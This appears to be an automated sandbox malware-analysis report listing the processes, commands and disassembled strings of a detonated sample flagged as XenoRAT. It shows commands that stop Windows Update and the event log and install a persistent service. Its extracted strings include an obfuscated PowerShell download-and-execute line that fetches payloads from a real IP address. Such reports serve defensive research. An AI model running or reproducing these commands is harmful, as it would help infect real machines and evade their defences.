                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:33
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:34
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:35
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\wusa.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:wusa /uninstall /kb:890830 /quiet /norestart
                                                              Imagebase:0x7ff685590000
                                                              File size:345'088 bytes
                                                              MD5 hash:FBDA2B8987895780375FE0E6254F6198
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:36
                                                              Start time:05:16:23
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:37
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:38
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop wuauserv
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:39
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:40
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop bits
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:41
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:42
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop dosvc
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:43
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:44
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\powercfg.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                              Imagebase:0x7ff7db200000
                                                              File size:96'256 bytes
                                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:45
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\powercfg.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                              Imagebase:0x7ff7db200000
                                                              File size:96'256 bytes
                                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:46
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:47
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\powercfg.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                              Imagebase:0x7ff7db200000
                                                              File size:96'256 bytes
                                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:48
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:49
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\powercfg.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                              Imagebase:0x7ff7db200000
                                                              File size:96'256 bytes
                                                              MD5 hash:9CA38BE255FFF57A92BD6FBF8052B705
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:50
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:51
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\dialer.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\dialer.exe
                                                              Imagebase:0x7ff70d9e0000
                                                              File size:39'936 bytes
                                                              MD5 hash:B2626BDCF079C6516FC016AC5646DF93
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:52
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:53
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe delete "LIB"
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:54
                                                              Start time:05:16:24
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:55
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\winlogon.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:winlogon.exe
                                                              Imagebase:0x7ff70f350000
                                                              File size:906'240 bytes
                                                              MD5 hash:F8B41A1B3E569E7E6F990567F21DCE97
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:56
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:57
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:58
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\lsass.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\lsass.exe
                                                              Imagebase:0x7ff7ac940000
                                                              File size:59'456 bytes
                                                              MD5 hash:A1CC00332BBF370654EE3DC8CDC8C95A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:59
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe stop eventlog
                                                              Imagebase:0x7ff7abf20000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:60
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\sc.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\sc.exe start "LIB"
                                                              Imagebase:0x7ff7403e0000
                                                              File size:72'192 bytes
                                                              MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:61
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:62
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff66e660000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:63
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\ipconfig.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\system32\ipconfig.exe" /flushdns
                                                              Imagebase:0x7ff683890000
                                                              File size:35'840 bytes
                                                              MD5 hash:62F170FB07FDBB79CEB7147101406EB8
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:true

                                                              General

                                                              Target ID:64
                                                              Start time:05:16:25
                                                              Start date:04/07/2024
                                                              Path:C:\ProgramData\Mig\Mig.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\ProgramData\Mig\Mig.exe
                                                              Imagebase:0x7ff6981f0000
                                                              File size:7'633'920 bytes
                                                              MD5 hash:C4BEF67027DB50C7F4F3A64584FED4A7
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Antivirus matches:
                                                              • Detection: 100%, Joe Sandbox ML
                                                              Has exited:true

                                                              General

                                                              Target ID:65
                                                              Start time:05:16:26
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              Wow64 process (32bit):true
                                                              Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                              Imagebase:0xd70000
                                                              File size:45'984 bytes
                                                              MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Yara matches:
                                                              • Rule: JoeSecurity_XenoRAT, Description: Yara detected XenoRAT, Source: 00000041.00000002.2374077703.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                              Has exited:true

                                                              General

                                                              Target ID:66
                                                              Start time:05:16:26
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\svchost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                                                              Imagebase:0x7ff7403e0000
                                                              File size:55'320 bytes
                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:67
                                                              Start time:05:16:27
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\dwm.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"dwm.exe"
                                                              Imagebase:0x7ff68eb30000
                                                              File size:94'720 bytes
                                                              MD5 hash:5C27608411832C5B39BA04E33D53536C
                                                              Has elevated privileges:false
                                                              Has administrator privileges:false
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              General

                                                              Target ID:68
                                                              Start time:05:16:28
                                                              Start date:04/07/2024
                                                              Path:C:\Windows\System32\svchost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                                                              Imagebase:0x7ff7403e0000
                                                              File size:55'320 bytes
                                                              MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Has exited:false

                                                              Disassembly

                                                              Reset < >

                                                                Execution Graph

                                                                Execution Coverage:66.2%
                                                                Dynamic/Decrypted Code Coverage:100%
                                                                Signature Coverage:0%
                                                                Total number of Nodes:5
                                                                Total number of Limit Nodes:0

                                                                Callgraph

                                                                Executed Functions

                                                                Function 004044B0 Relevance: 124.7, APIs: 60, Strings: 11, Instructions: 403COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                • __vbaVarCopy.MSVBVM60 ref: 00404559
                                                                • __vbaStrVarVal.MSVBVM60(?,?,0040181C,00401828,00000001,000000FF,00000000), ref: 00404575
                                                                • #712.MSVBVM60(00000000), ref: 0040457C
                                                                • __vbaVarMove.MSVBVM60 ref: 00404597
                                                                • __vbaFreeStr.MSVBVM60 ref: 004045A3
                                                                • __vbaStrVarVal.MSVBVM60(?,?,00000000), ref: 004045B5
                                                                • #716.MSVBVM60(?,00000000), ref: 004045C3
                                                                • __vbaVarSetVar.MSVBVM60(?,?), ref: 004045D4
                                                                • __vbaFreeStr.MSVBVM60 ref: 004045E0
                                                                • __vbaStrCat.MSVBVM60(wer,00401830), ref: 004045F6
                                                                • __vbaStrMove.MSVBVM60 ref: 00404600
                                                                • __vbaStrCat.MSVBVM60(00401848,00000000), ref: 0040460C
                                                                • __vbaStrMove.MSVBVM60 ref: 00404616
                                                                • __vbaStrCat.MSVBVM60(ell ,00000000), ref: 00404622
                                                                • __vbaVarMove.MSVBVM60 ref: 00404639
                                                                • __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040464F
                                                                • __vbaVarCopy.MSVBVM60 ref: 00404671
                                                                • __vbaVarCopy.MSVBVM60 ref: 0040468C
                                                                • __vbaVarCopy.MSVBVM60 ref: 004046AA
                                                                • __vbaVarCopy.MSVBVM60 ref: 004046C5
                                                                • __vbaVarCopy.MSVBVM60 ref: 004046E0
                                                                • __vbaVarCopy.MSVBVM60 ref: 004046FE
                                                                • __vbaVarCopy.MSVBVM60 ref: 0040471C
                                                                • __vbaVarAdd.MSVBVM60(?,?,?), ref: 00404743
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 00404751
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 00404762
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 00404773
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 00404784
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 00404795
                                                                • __vbaObjVar.MSVBVM60(?,RUN,00000002), ref: 004047DE
                                                                • __vbaLateMemCall.MSVBVM60(00000000), ref: 004047E5
                                                                • __vbaFreeVarList.MSVBVM60(00000006,?,?,?,?,?,?), ref: 00404817
                                                                • __vbaVarAdd.MSVBVM60(?,?,?), ref: 0040483F
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040484D
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040485B
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040486C
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040487D
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040488E
                                                                • __vbaObjVar.MSVBVM60(?,RUN,00000002), ref: 004048D3
                                                                • __vbaLateMemCall.MSVBVM60(00000000), ref: 004048DA
                                                                • __vbaFreeVarList.MSVBVM60(00000006,?,?,?,?,?,?), ref: 0040490C
                                                                • __vbaVarAdd.MSVBVM60(?,?,?), ref: 0040493E
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040494C
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040495A
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040496B
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040497C
                                                                • __vbaVarAdd.MSVBVM60(?,?,00000000), ref: 0040498D
                                                                • __vbaObjVar.MSVBVM60(?,RUN,00000002), ref: 004049D1
                                                                • __vbaLateMemCall.MSVBVM60(00000000), ref: 004049D8
                                                                • __vbaFreeVarList.MSVBVM60(00000006,?,?,?,?,?,?), ref: 00404A0A
                                                                • __vbaFreeVar.MSVBVM60(00404AA8), ref: 00404A6F
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A74
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A79
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A7E
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A83
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A88
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A8D
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A95
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404A9D
                                                                • __vbaFreeVar.MSVBVM60 ref: 00404AA5
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.2124537762.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                • Associated: 00000000.00000002.2124512976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.2124598971.0000000000405000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.2124631145.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                Similarity
                                                                • API ID: __vba$Free$Copy$ListMove$CallLate$#712#716
                                                                • String ID: $c1='(New-Object Net.We'; $c4='bCli$'')';$TC=I`E`X ($c1,$c4,$c3 $-Join '')|I`E`X$RUN$WB0ScrB0ipB0t.SB0heB0B0ll$ell $ent).Downlo'; $c3='adString(''$http://85.28.47.8/S.png$http://85.28.47.8/x/L.png$http://85.28.47.8/x/M.png$wer
                                                                • API String ID: 2680225966-1560082377
                                                                • Opcode ID: 977998692dbb2c7c749a53378097073752e8f7d5c81ec654a121920ec3b9eb12
                                                                • Instruction ID: e3a44d924dcdb7240bb9e7b54cacaa644347747585e1d40c425b26d236e5460b
                                                                • Opcode Fuzzy Hash: 977998692dbb2c7c749a53378097073752e8f7d5c81ec654a121920ec3b9eb12
                                                                • Instruction Fuzzy Hash: 8D02D8B1C0022D9FCB64DF54CC84EEABB78FB48304F0086DAE54AA7155DB745A89CF94
                                                                Function 004011C4 Relevance: 1.5, APIs: 1, Instructions: 29COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 2 4011c4-401200 #100
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.2124537762.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                • Associated: 00000000.00000002.2124512976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.2124598971.0000000000405000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                • Associated: 00000000.00000002.2124631145.0000000000406000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                Similarity
                                                                • API ID: #100
                                                                • String ID:
                                                                • API String ID: 1341478452-0
                                                                • Opcode ID: f70dcdd4ec79050d4da5c4cefcc013cc4a41a080abe168c8c2d8e52c059bc6fc
                                                                • Instruction ID: a46dfb29f0259cb61f1e60c3f2f170198be9f02082824108a8cd114f2227e5b0
                                                                • Opcode Fuzzy Hash: f70dcdd4ec79050d4da5c4cefcc013cc4a41a080abe168c8c2d8e52c059bc6fc
                                                                • Instruction Fuzzy Hash: 4FF0F56885E3C01FC3036220AC228803FB10E0720030B02E7D880EF2B3D4280C0E8BB3

                                                                Executed Functions

                                                                Function 04C9B488 Relevance: 5.3, Strings: 4, Instructions: 256COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: SU*n^$cU*n^$sU*n^$\*n^
                                                                • API String ID: 0-1661517564
                                                                • Opcode ID: 5daba48a6b45f89ac1dfa2b53aa5ede4877e5e8037147d52daeceaf21e71ff3f
                                                                • Instruction ID: 74156048fa6a49404ad7d48a1d79de50adddc813930d2bef39805b40c5b7b06a
                                                                • Opcode Fuzzy Hash: 5daba48a6b45f89ac1dfa2b53aa5ede4877e5e8037147d52daeceaf21e71ff3f
                                                                • Instruction Fuzzy Hash: 04918E70F01655ABEB19EFB588006AEBBE3EFC4700B40891DD516AB380DF78AD058BD5
                                                                Function 04C9B498 Relevance: 5.3, Strings: 4, Instructions: 252COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_4c90000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: SU*n^$cU*n^$sU*n^$\*n^
                                                                • API String ID: 0-1661517564
                                                                • Opcode ID: 3752e8fdf240c8ce894a1145009cbc06497aea45cbd503efca99fb1943d192ac
                                                                • Instruction ID: d468272b3b5287022a3d40c4d54dafc8fd83c068cd54457f4c2b11cbe84d7e04
                                                                • Opcode Fuzzy Hash: 3752e8fdf240c8ce894a1145009cbc06497aea45cbd503efca99fb1943d192ac
                                                                • Instruction Fuzzy Hash: 0C917FB0F01655ABEB19EBB588106AEBBF3EFC4700B40891DD516AB380DF74AD058BD5
                                                                Function 07BF24D8 Relevance: 3.0, Strings: 2, Instructions: 481COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2173821221.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_10_2_7bf0000_powershell.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: piNk$|,Pk
                                                                • API String ID: 0-3945615798
                                                                • Opcode ID: 52ab16fa6536b363002e1831ce32ce716ce4fc66addcc12005639788ff496520
                                                                • Instruction ID: 6951067305c10250ae62c527752a2787418d23258f9d6831b00ba0a32aa5b05f
                                                                • Opcode Fuzzy Hash: 52ab16fa6536b363002e1831ce32ce716ce4fc66addcc12005639788ff496520
                                                                • Instruction Fuzzy Hash: 51F1F3B1B00206DFEB249BA8C4547AEBBE1FFC5A14F1484BAD605CB651DB31D849CBA1
                                                                Function 04C929F0 Relevance: .2, Instructions: 208COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000A.00000002.2168404047.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C90000, based on PE: false
                                                                Joe Sandbox IDA Plugin
